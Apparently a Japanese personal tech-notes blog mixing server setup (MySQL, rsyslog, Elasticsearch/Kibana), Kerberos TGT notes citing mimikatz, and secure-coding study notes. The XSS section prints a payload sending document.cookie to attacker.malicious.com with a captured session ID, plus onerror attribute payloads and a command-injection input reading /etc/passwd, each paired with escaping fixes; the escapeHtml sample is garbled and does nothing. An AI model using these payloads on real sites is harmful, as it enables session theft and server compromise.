latexのコンパイルの際にスタイルファイルがないというエラーになって
ネットなどから落としてきたスタイルファイルはMacでは以下のフォルダに置くと
読み込んでくれるみたい。
/Users/$USER/Library/texmf/tex/latex
以下のサイトが参考になりました!
latexのコンパイルの際にスタイルファイルがないというエラーになって
ネットなどから落としてきたスタイルファイルはMacでは以下のフォルダに置くと
読み込んでくれるみたい。
/Users/$USER/Library/texmf/tex/latex
以下のサイトが参考になりました!
<TGTについて>
・TGT一部の項目は、ユーザの鍵で暗号化されている。これらの項目はクライアントで復号化され、キャッシュされる。
・一部の項目は、Ticket Granting Serverの鍵で二重に暗号化されているため、当ユーザも復号できず、KDCだけが復号できる。
クライアントはTGTは復号せず、サーバから受け取ったものをフォワードするのみ。
・TGTの有効期限にはTicket lifetimeとeffective ticket lifetimeと呼ばれるものがあり、前者はユーザの鍵で、後者はさらにTicket Granting Serverの鍵で暗号化される。
Klistコマンドでクライアント上で有効期限が見えるので、おそらくTGTの有効期限はユーザの鍵で復号できるTicket lifetimeではないかと推測。
<Kerberos認証の流れ>
1)事前認証(AS_REQにエラーを返し、パスワード入力を求める)
2)AS_REQ
3)AS_REP: ランダムなセッションキー、TGTを生成し、レスポンスに含める
5)TGS-REQ以降は、払い出されたセッション鍵で暗号化し、通信する
<セッション鍵について>
・以下によると、以下のレジストリを1にしない限り、Session Key が使われないらしい
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Kerberos\Parameters\allowtgtsessionkey
https://github.com/gentilkiwi/mimikatz/wiki/module-~-kerberos
"If session key is filled with 00, then allowtgtsessionkey is not enabled - http://support.microsoft.com/kb/308339"
https://support.microsoft.com/en-us/help/308339/registry-key-to-allow-session-keys-to-be-sent-in-kerberos-ticket-grant
・GTが適当なsession key(RC4など)でも使えるのは、そもそも Session Key が使われていないことが原因かもしれない
https://www.freesoft.org/CIE/RFC/1510/66.htm
- Check path you can write
SELECT @@global.secure_file_priv;
- Execute the following MYSQL commands
use ttrss;
select title,feed_url from ttrss_feeds INTO OUTFILE '/var/lib/mysql-files/feed.csv' FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY '"';
/etc/httpd/conf/httpd.confに以下を追記
<IfModule log_config_module>
CustomLog "|/usr/bin/logger -p local5.info -t httpd_access" combined
/etc/rsyslog.conf に以下を追記
local5.* @@reverse-edge.com:514
/etc/rsyslog.conf
コメント解除
$ModLoad imtcp
$InputTCPServerRun 514
以下を追記
$template httpd,"/var/log/syslog/%hostname%/httpd/%programname%.log"
local5.* -?httpd
/var/log/syslog/{hostname}/httpd
というディレクトリにhttpdのログがフォワードされるようになる
参考)
CentOS7 に MySQL をRPMでインストールする
# cd /var/tmp
# wget http://dev.mysql.com/get/Downloads/MySQL-5.6/MySQL-5.6.36-1.el7.x86_64.rpm-bundle.tar
# tar xvf MySQL-5.6.36-1.el7.x86_64.rpm-bundle.tar
# rpm -Uvh MySQL-server-5.6.36-1.el7.x86_64.rpm
※インストール中以下のメッセージが表示される
A RANDOM PASSWORD HAS BEEN SET FOR THE MySQL root USER !
You will find that password in '/root/.mysql_secret'.
# rpm -Uvh MySQL-client-5.6.36-1.el7.x86_64.rpm
※mysqlコマンドを使うために必要
# rpm -Uvh MySQL-shared-5.6.36-1.el7.x86_64.rpm
※プログラムからMySQLを使うためのライブラリなどが含まれる
# mysql --version
mysql Ver 14.14 Distrib 5.6.36, for Linux (x86_64) using EditLine wrapper
# systemctl status mysql.service
rootの初期パスワードを確認
# cat /root/.mysql_secret
初期パスワードでログイン
# mysql -u root -p
mysql> show databases;
ERROR 1820 (HY000): You must SET PASSWORD before executing this statement
mysql> SET PASSWORD = PASSWORD('password');
php-mysqlのインストール
wget http://mirror.centos.org/centos/7/os/x86_64/Packages/php-mysql-5.4.16-42.el7.x86_64.rpm
rpm -Uvh php-mysql-5.4.16-42.el7.x86_64.rpm
参考)
http://www.kakiro-web.com/linux/mysql-install.html
- Install Elasticsearch by following.
https://www.elastic.co/guide/en/elasticsearch/reference/5.3/rpm.html
- Configure Elasticsearch
https://www.elastic.co/guide/en/elasticsearch/reference/5.3/settings.html
/etc/elasticsearch/elasticsearch.yml
network.host: 153.126.171.84
- Start Elasticsearch
/etc/rc.d/init.d/elasticsearch start
$ curl localhost:9200
{
"name" : "yPjLETS",
"cluster_name" : "elasticsearch",
"cluster_uuid" : "fFp2Z0L8RxyKa7f26TEPng",
"version" : {
"number" : "5.3.1",
"build_hash" : "5f9cf58",
"build_date" : "2017-04-17T15:52:53.846Z",
"build_snapshot" : false,
"lucene_version" : "6.4.2"
},
"tagline" : "You Know, for Search"
}
c.f.
logfile:
/var/log/elasticsearch/
- Install logstash by following.
https://www.elastic.co/guide/en/logstash/5.3/installing-logstash.html#_yum
yum install logstash
- start logstash
initctl start logstash
- Install kibana
cd /var/www/html/html/
wget https://artifacts.elastic.co/downloads/kibana/kibana-5.0.0-linux-x86_64.tar.gz
tar zxvf kibana-5.0.0-linux-x86_64.tar.gz
mv kibana-5.0.0-linux-x86_64/ kibana
chown -R apache:apache kibana/
c.f.
https://www.elastic.co/guide/en/beats/libbeat/5.3/kibana-installation.html
https://www.elastic.co/guide/en/kibana/current/targz.html
- Setting kibana
/var/www/html/html/kibana/config/kibana.yml
server.host: "www.reverse-edge.com"
logging.quiet: true
c.f.
https://www.elastic.co/guide/en/kibana/current/settings.html
http://qiita.com/windows222/items/57423a420d57399cbc3e
- Run kibana
./bin/kibana
- Allow 5601 port using iptable
-A INPUT -p tcp -m tcp --dport 5601 -j ACCEPT
- access kibana
http://www.reverse-edge.com:5601
c.f.
https://www.elastic.co/guide/en/kibana/current/access.html
<?php
$username = $_GET["username"];
session_start();
print " ".$username;
?>
usernameに以下を入力
<script>alert(document.cookie)</script>
http://hogehoge.com/xss.php?username=%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://hogehoge.com/xss.phpusername=<script>window.location= 'http://attacker.malicious.com/attack.php?'+document.cookie;</script>
実際にはURLエンコードが必要
攻撃者サーバのアクセスログ
GET /attack.php?PHPSESSID=486kotqq25ij9t3tj0nq0ebp25 HTTP/1.1" 200 94 "http://hogehoge.com/xss.php?username=%22%3E%3Cscript%3Ewindow.location%3D%27http%3A%2F%2Fattacker.malicious.com%2Fattack.php%3F%27%2Bdocument.cookie%3B%3C%2Fscript%3E%3C!--" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:52.0) Gecko/20100101 Firefox/52.0"
<>&" ' のエスケープ(実体参照化)が必要
<p> <?php echo htmlspecialchars($username, ENT_QUOTES, "UTF-8"); ?></p>
<p> "><script>alert(document.cookie)</script><!--</p>
HTMLコードを書き出しているdocument.write, innerHTMLなどは同様の対策が必要。
document.write("Your name is "+document.getElementsByName('username')[0].value);
<script>alert("xss!")</script>
JSには標準APIにはエスケープの機能がない
function escapeHtml(str) {
str = str.replace(/&/g, '&');
str = str.replace(/</g, '<');
str = str.replace(/>/g, '>');
str = str.replace(/"/g, '"');
str = str.replace(/'/g, ''');
return str;
}
ダブルクォートで囲い、属性値のダブルクォートを"にエスケープ
①エスケープなし、ダブルクォート囲いなし
<?php
$icon = $_GET["icon"];
print '<img src='.$icon.'>';
?>
icon not found onerror=alert(document.cookie);
<img src=icon not found onerror=alert(document.cookie);>
②エスケープなし、ダブルクォート囲いあり
<?php
$icon = $_GET["icon"];
print '<img src="'.$icon.'">';
?>
icon not found "onerror=alert(document.cookie);"
<img src="icon not found "onerror=alert(document.cookie);"">
③エスケープあり、ダブルクォート囲いあり
<?php
$icon = $_GET["icon"];
$icon=htmlspecialchars($icon, ENT_QUOTES, "UTF-8");
print '<img src="'.$icon.'">';
?>
icon not found "onerror=alert(document.cookie);"
<img src="icon not found "onerror=alert(document.cookie);"">
参考)
- 脆弱なコードの例
<html>
<body>
<form name="mailForm" action="mail.php" method="POST">
メールアドレス: <input type="text" name="email" size="40"><br>
<input type="submit" value="send">
</form>
</body>
</html>
<?php
$email=$_POST['email'];
system("echo 'hello' | sendmail ".$email);
print "メールアドレス:".$email;
?>
- 入力
user1@example.com;cat /etc/passwd
- 対策
- エスケープする
system("echo 'hello' | sendmail ".escapeshellarg($email));
- OSコマンドを実行可能なAPI(systemとか)を使わない
(可能ならプログラムの機能を使う)
mb_send_mail($email,$subject,$body,"From:".$from);
-シェルを経由しないでコマンドを起動する
pcntl-execはシェルを経由しないが、CGIモードでないと使えないらしい
http://php.net/manual/ja/function.pcntl-exec.php
http://blog.tokumaru.org/2013/12/php_21.html
delimiter //
CREATE PROCEDURE selectOrders(IN user varchar(255), IN keyword varchar(255))
BEGIN
SELECT * from orders where username=user and ordername =keyword;
END;
show procedure status;
+----------+--------------+-----------+----------------+---------------------+---------------------+---------------+---------+----------------------+----------------------+--------------------+
| Db | Name | Type | Definer | Modified | Created | Security_type | Comment | character_set_client | collation_connection | Database Collation |
+----------+--------------+-----------+----------------+---------------------+---------------------+---------------+---------+----------------------+----------------------+--------------------+
| shopping | selectOrders | PROCEDURE | root@localhost | 2017-04-14 17:37:18 | 2017-04-14 17:37:18 | DEFINER | | utf8 | utf8_general_ci | latin1_swedish_ci |
+----------+--------------+-----------+----------------+---------------------+---------------------+---------------+---------+----------------------+----------------------+--------------------+
show create procedure selectOrders;
| Procedure | sql_mode | Create Procedure | character_set_client | collation_connection | Database Collation |
+--------------+--------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------+----------------------+--------------------+
| selectOrders | STRICT_TRANS_TABLES,NO_ENGINE_SUBSTITUTION | CREATE DEFINER=`root`@`localhost` PROCEDURE `selectOrders`(IN user varchar(255), IN keyword varchar(255))
BEGIN
SELECT * from orders where username=user and ordername =keyword;
END | utf8 | utf8_general_ci | latin1_swedish_ci |
+--------------+--------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------+----------------------+--------------------+
1 row in set (0.01 sec)
call selectOrders('User1','Buy books');
+----+----------+-----------+--------+---------------------+---------------------+--------+--------+
| id | username | ordername | amount | create_time | update_time | extra1 | extra2 |
+----+----------+-----------+--------+---------------------+---------------------+--------+--------+
| 1 | User1 | Buy books | 5000 | 2017-04-07 14:07:30 | 2017-04-07 14:07:30 | NULL | NULL |
+----+----------+-----------+--------+---------------------+---------------------+--------+--------+
<?php
$ds = "mysql:host=localhost;dbname=shopping";
$user = "root";
$pass = "root";
$dbh = new PDO($ds, $user, $pass);
$stmt = $dbh->prepare("call selectOrders(?,?)");
$stmt->bindParam(1,$username,PDO::PARAM_STR);
$stmt->bindParam(2,$keyword,PDO::PARAM_STR);
$stmt->execute();
$query = $stmt->queryString;
while($row = $stmt->fetch()){
print $row["username"];
print $row["ordername"];
print $row["amount"];
}
?>
Recent Comments